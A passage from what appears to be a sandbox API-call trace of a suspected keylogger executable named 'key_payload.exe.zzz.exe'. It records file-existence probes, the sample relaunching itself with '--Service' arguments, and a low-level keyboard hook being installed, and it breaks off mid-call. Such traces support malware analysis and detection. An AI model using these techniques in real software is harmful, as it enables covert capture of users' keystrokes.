lpWideCharStr=0x0) returned 20 [0229.175] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.175] GetLastError () returned 0x2 [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] AreFileApisANSI () returned 1 [0229.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.175] CreateFileW (lpFileName="C:\\windows\\12344.txtt" (normalized: "c:\\windows\\12344.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.175] GetLastError () returned 0x2 [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] AreFileApisANSI () returned 1 [0229.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0229.176] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.176] GetLastError () returned 0x2 [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] AreFileApisANSI () returned 1 [0229.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.176] CreateFileW (lpFileName="C:\\windows\\12344.txtt" (normalized: "c:\\windows\\12344.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.176] GetLastError () returned 0x2 [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] AreFileApisANSI () returned 1 [0229.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13551d4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.176] CreateFileW (lpFileName="C:\\windows\\12355.txtt" (normalized: "c:\\windows\\12355.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.176] GetLastError () returned 0x2 [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] GetLastError () returned 0x2 [0229.176] SetLastError (dwErrCode=0x2) [0229.176] AreFileApisANSI () returned 1 [0229.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135525c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.177] CreateFileW (lpFileName="C:\\windows\\12366.txtt" (normalized: "c:\\windows\\12366.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.177] GetLastError () returned 0x2 [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] AreFileApisANSI () returned 1 [0229.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13552e4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.177] CreateFileW (lpFileName="C:\\windows\\12377.txtt" (normalized: "c:\\windows\\12377.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.177] GetLastError () returned 0x2 [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] AreFileApisANSI () returned 1 [0229.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135536c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.177] CreateFileW (lpFileName="C:\\windows\\12388.txtt" (normalized: "c:\\windows\\12388.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.177] GetLastError () returned 0x2 [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] GetLastError () returned 0x2 [0229.177] SetLastError (dwErrCode=0x2) [0229.177] AreFileApisANSI () returned 1 [0229.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13553f4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.177] CreateFileW (lpFileName="C:\\windows\\12399.txtt" (normalized: "c:\\windows\\12399.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.178] GetLastError () returned 0x2 [0229.178] GetLastError () returned 0x2 [0229.178] SetLastError (dwErrCode=0x2) [0229.178] GetLastError () returned 0x2 [0229.178] SetLastError (dwErrCode=0x2) [0229.178] GetLastError () returned 0x2 [0229.178] SetLastError (dwErrCode=0x2) [0229.178] AreFileApisANSI () returned 1 [0229.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135547c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.178] CreateFileW (lpFileName="C:\\windows\\12300.txtt" (normalized: "c:\\windows\\12300.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.178] GetLastError () returned 0x2 [0229.178] GetLastError () returned 0x2 [0229.178] SetLastError (dwErrCode=0x2) [0229.178] GetLastError () returned 0x2 [0229.178] SetLastError (dwErrCode=0x2) [0229.178] GetLastError () returned 0x2 [0229.179] SetLastError (dwErrCode=0x2) [0229.179] AreFileApisANSI () returned 1 [0229.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355504, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0229.179] CreateFileW (lpFileName="C:\\windows\\12___3.txtt" (normalized: "c:\\windows\\12___3.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.179] GetLastError () returned 0x2 [0229.179] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] AreFileApisANSI () returned 1 [0229.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355584, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0229.180] CreateFileW (lpFileName="C:\\windows\\12_______3.txtt" (normalized: "c:\\windows\\12_______3.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.180] GetLastError () returned 0x2 [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] AreFileApisANSI () returned 1 [0229.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355604, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0229.180] CreateFileW (lpFileName="C:\\windows\\123_______.txtt" (normalized: "c:\\windows\\123_______.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.180] GetLastError () returned 0x2 [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] AreFileApisANSI () returned 1 [0229.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355684, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0229.180] CreateFileW (lpFileName="C:\\windows\\125673_______.txtt" (normalized: "c:\\windows\\125673_______.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.180] GetLastError () returned 0x2 [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.180] GetLastError () returned 0x2 [0229.180] SetLastError (dwErrCode=0x2) [0229.181] GetLastError () returned 0x2 [0229.181] SetLastError (dwErrCode=0x2) [0229.181] SetLastError (dwErrCode=0x0) [0229.181] GetLastError () returned 0x0 [0229.181] SetLastError (dwErrCode=0x0) [0229.181] SetLastError (dwErrCode=0x0) [0229.181] GetLastError () returned 0x0 [0229.181] SetLastError (dwErrCode=0x0) [0229.181] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xc3ee6c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc3e974 | out: lpCommandLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", lpProcessInformation=0xc3e974*(hProcess=0x234, hThread=0x224, dwProcessId=0x2d0, dwThreadId=0xe50)) returned 1 [0229.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1123800, lpParameter=0x139a270, dwCreationFlags=0x0, lpThreadId=0x139a440 | out: lpThreadId=0x139a440*=0xe64) returned 0x23c [0229.189] GetModuleHandleW (lpModuleName=0x0) returned 0x1110000 [0229.189] SetWindowsHookExW (idHook=13, lpfn=0x1123780, hmod=0x1110000, dwThreadId=0x0) returned 0x7007f [0229.189] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0x5) returned 0x139c338 [0229.189] LoadResource (hModule=0x1110000, hResInfo=0x139c338) returned 0x13c6e38 [0229.189] LockResource (hResData=0x13c6e38) returned 0x13c6e38 [0229.189] SetWindowsHookExW (idHook=5, lpfn=0x1150ce8, hmod=0x0, dwThreadId=0xc08) returned 0x3015d [0229.190] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75130000 [0229.190] GetProcAddress (hModule=0x75130000, lpProcName="QueryActCtxW") returned 0x7514a1d0 [0229.190] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x1386368, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0xc3e5a0, cbBuffer=0x8, pcbWrittenOrRequired=0x0 | out: pvBuffer=0xc3e5a0, pcbWrittenOrRequired=0x0) returned 1 [0229.190] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleHandleExW") returned 0x75149fa0 [0229.190] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x1386368, phModule=0xc3e5a8 | out: phModule=0xc3e5a8*=0x1110000) returned 1 [0229.190] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xc3e5b0, nSize=0x105 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0229.190] GetProcAddress (hModule=0x75130000, lpProcName="CreateActCtxW") returned 0x75154bd0 [0229.190] CreateActCtxW (pActCtx=0xc3e580) returned 0xffffffff [0229.190] GetLastError () returned 0x716 [0229.190] GetProcAddress (hModule=0x75130000, lpProcName="ActivateActCtx") returned 0x7514c790 [0229.191] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e5ac | out: hActCtx=0x0, lpCookie=0xc3e5ac) returned 1 [0229.191] GetProcAddress (hModule=0x75130000, lpProcName="FindActCtxSectionStringW") returned 0x75154b20 [0229.191] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0xc3e560 | out: ReturnedData=0xc3e560) returned 1 [0229.191] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x746d0000 [0229.191] GetProcAddress (hModule=0x75130000, lpProcName="DeactivateActCtx") returned 0x7514c770 [0229.191] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0002) returned 1 [0229.191] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e800 | out: hActCtx=0x0, lpCookie=0xc3e800) returned 1 [0229.191] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7c0 | out: hActCtx=0x0, lpCookie=0xc3e7c0) returned 1 [0229.191] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x746d0000 [0229.191] GetProcAddress (hModule=0x746d0000, lpProcName="InitCommonControlsEx") returned 0x74750d20 [0229.191] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0004) returned 1 [0229.191] InitCommonControlsEx (picce=0xc3e874) returned 1 [0229.192] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0003) returned 1 [0229.192] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e800 | out: hActCtx=0x0, lpCookie=0xc3e800) returned 1 [0229.192] InitCommonControlsEx (picce=0xc3e874) returned 1 [0229.192] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0006) returned 1 [0229.192] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e800 | out: hActCtx=0x0, lpCookie=0xc3e800) returned 1 [0229.192] InitCommonControlsEx (picce=0xc3e874) returned 1 [0229.192] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0008) returned 1 [0229.192] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e800 | out: hActCtx=0x0, lpCookie=0xc3e800) returned 1 [0229.192] InitCommonControlsEx (picce=0xc3e874) returned 1 [0229.192] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e000a) returned 1 [0229.192] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e800 | out: hActCtx=0x0, lpCookie=0xc3e800) returned 1 [0229.192] InitCommonControlsEx (picce=0xc3e874) returned 1 [0229.192] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e000c) returned 1 [0229.192] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e800 | out: hActCtx=0x0, lpCookie=0xc3e800) returned 1 [0229.192] InitCommonControlsEx (picce=0xc3e874) returned 1 [0229.193] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e000e) returned 1 [0229.193] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e800 | out: hActCtx=0x0, lpCookie=0xc3e800) returned 1 [0229.193] InitCommonControlsEx (picce=0xc3e874) returned 1 [0229.193] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0010) returned 1 [0229.193] GetModuleHandleW (lpModuleName="shell32.dll") returned 0x752c0000 [0229.193] GetProcAddress (hModule=0x752c0000, lpProcName="InitNetworkAddressControl") returned 0x7555d400 [0229.193] InitNetworkAddressControl () returned 1 [0229.193] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xc3e844 | out: lpWndClass=0xc3e844) returned 1 [0229.194] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCButton", lpWndClass=0xc3e7f8 | out: lpWndClass=0xc3e7f8) returned 0 [0229.194] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7b8 | out: hActCtx=0x0, lpCookie=0xc3e7b8) returned 1 [0229.194] RegisterClassW (lpWndClass=0xc3e844) returned 0xc1a6 [0229.194] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0014) returned 1 [0229.194] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xc3e83c | out: lpWndClass=0xc3e83c) returned 1 [0229.194] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCColorButton", lpWndClass=0xc3e7f0 | out: lpWndClass=0xc3e7f0) returned 0 [0229.194] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7b0 | out: hActCtx=0x0, lpCookie=0xc3e7b0) returned 1 [0229.194] RegisterClassW (lpWndClass=0xc3e83c) returned 0xc1a7 [0229.194] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0015) returned 1 [0229.194] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Edit", lpWndClass=0xc3e834 | out: lpWndClass=0xc3e834) returned 1 [0229.194] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCEditBrowse", lpWndClass=0xc3e7e8 | out: lpWndClass=0xc3e7e8) returned 0 [0229.194] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7a8 | out: hActCtx=0x0, lpCookie=0xc3e7a8) returned 1 [0229.194] RegisterClassW (lpWndClass=0xc3e834) returned 0xc1a8 [0229.194] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0016) returned 1 [0229.194] GetClassInfoW (in: hInstance=0x1110000, lpClassName="ComboBox", lpWndClass=0xc3e82c | out: lpWndClass=0xc3e82c) returned 1 [0229.194] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCFontComboBox", lpWndClass=0xc3e7e0 | out: lpWndClass=0xc3e7e0) returned 0 [0229.195] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7a0 | out: hActCtx=0x0, lpCookie=0xc3e7a0) returned 1 [0229.195] RegisterClassW (lpWndClass=0xc3e82c) returned 0xc1aa [0229.195] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0018) returned 1 [0229.195] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xc3e824 | out: lpWndClass=0xc3e824) returned 1 [0229.195] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCLink", lpWndClass=0xc3e7d8 | out: lpWndClass=0xc3e7d8) returned 0 [0229.195] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e798 | out: hActCtx=0x0, lpCookie=0xc3e798) returned 1 [0229.195] RegisterClassW (lpWndClass=0xc3e824) returned 0xc1ab [0229.195] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0019) returned 1 [0229.195] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Edit", lpWndClass=0xc3e81c | out: lpWndClass=0xc3e81c) returned 1 [0229.195] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCMaskedEdit", lpWndClass=0xc3e7d0 | out: lpWndClass=0xc3e7d0) returned 0 [0229.195] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e790 | out: hActCtx=0x0, lpCookie=0xc3e790) returned 1 [0229.195] RegisterClassW (lpWndClass=0xc3e81c) returned 0xc1ac [0229.195] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e001a) returned 1 [0229.195] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xc3e814 | out: lpWndClass=0xc3e814) returned 1 [0229.195] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCMenuButton", lpWndClass=0xc3e7c8 | out: lpWndClass=0xc3e7c8) returned 0 [0229.195] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e788 | out: hActCtx=0x0, lpCookie=0xc3e788) returned 1 [0229.195] RegisterClassW (lpWndClass=0xc3e814) returned 0xc1ad [0229.195] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e001b) returned 1 [0229.195] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Static", lpWndClass=0xc3e80c | out: lpWndClass=0xc3e80c) returned 1 [0229.196] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCPropertyGrid", lpWndClass=0xc3e7c0 | out: lpWndClass=0xc3e7c0) returned 0 [0229.196] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e780 | out: hActCtx=0x0, lpCookie=0xc3e780) returned 1 [0229.196] RegisterClassW (lpWndClass=0xc3e80c) returned 0xc1af [0229.196] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e001d) returned 1 [0229.196] GetClassInfoW (in: hInstance=0x1110000, lpClassName="SysListView32", lpWndClass=0xc3e844 | out: lpWndClass=0xc3e844) returned 1 [0229.196] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCShellList", lpWndClass=0xc3e7f8 | out: lpWndClass=0xc3e7f8) returned 0 [0229.196] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7b8 | out: hActCtx=0x0, lpCookie=0xc3e7b8) returned 1 [0229.196] RegisterClassW (lpWndClass=0xc3e844) returned 0xc1b0 [0229.196] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e001e) returned 1 [0229.196] GetClassInfoW (in: hInstance=0x1110000, lpClassName="SysTreeView32", lpWndClass=0xc3e83c | out: lpWndClass=0xc3e83c) returned 1 [0229.196] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCShellTree", lpWndClass=0xc3e7f0 | out: lpWndClass=0xc3e7f0) returned 0 [0229.196] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7b0 | out: hActCtx=0x0, lpCookie=0xc3e7b0) returned 1 [0229.196] RegisterClassW (lpWndClass=0xc3e83c) returned 0xc1b1 [0229.196] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e001f) returned 1 [0229.196] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Static", lpWndClass=0xc3e834 | out: lpWndClass=0xc3e834) returned 1 [0229.196] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCVSListBox", lpWndClass=0xc3e7e8 | out: lpWndClass=0xc3e7e8) returned 0 [0229.196] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e7a8 | out: hActCtx=0x0, lpCookie=0xc3e7a8) returned 1 [0229.196] RegisterClassW (lpWndClass=0xc3e834) returned 0xc1b2 [0229.196] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0020) returned 1 [0229.197] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e84c | out: hActCtx=0x0, lpCookie=0xc3e84c) returned 1 [0229.197] CreateDialogIndirectParamW (hInstance=0x1110000, lpTemplate=0x13c6e38, hWndParent=0x0, lpDialogFunc=0x1153e40, dwInitParam=0x0) returned 0x7004a [0229.198] GetParent (hWnd=0x7004a) returned 0x0 [0229.198] SetWindowLongW (hWnd=0x7004a, nIndex=-4, dwNewLong=18140506) returned 2007026528 [0229.199] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x7004a, lParam=0xc3e330) returned 0x0 [0229.199] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x24, wParam=0x0, lParam=0xc3e38c) returned 0x0 [0229.199] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x81, wParam=0x0, lParam=0xc3e380) returned 0x1 [0229.200] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xc3e040 | out: hActCtx=0x0, lpCookie=0xc3e040) returned 1 [0229.200] GetClassInfoExW (in: hInstance=0x0, lpszClass="#32768", lpwcx=0xc3e084 | out: lpwcx=0xc3e084) returned 1 [0229.200] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0022) returned 1 [0229.200] GetClassLongW (hWnd=0xd002a, nIndex=-32) returned 0xc026 [0229.200] GetWindowLongW (hWnd=0xd002a, nIndex=-4) returned 1957584320 [0229.200] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x0 [0229.200] SetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423", hData=0x74ae5dc0) returned 1 [0229.200] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0229.200] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0229.200] SetWindowLongW (hWnd=0xd002a, nIndex=-4, dwNewLong=18156417) returned 2007026688 [0229.200] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0xd002a, lParam=0xc3e330) returned 0x0 [0229.200] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0229.200] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x81, wParam=0x0, lParam=0xc3e380) returned 0x1 [0229.201] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0229.201] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x83, wParam=0x0, lParam=0xc3e36c) returned 0x0 [0229.201] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0229.201] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x1, wParam=0x0, lParam=0xc3e380) returned 0x0 [0229.201] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0229.202] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0229.202] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0229.202] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0229.202] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0229.202] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x287, wParam=0x21, lParam=0x0) returned 0x0 [0229.203] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x83, wParam=0x0, lParam=0xc3e36c) returned 0x0 [0229.206] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x1, wParam=0x0, lParam=0xc3e380) returned 0x0 [0229.206] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x5, 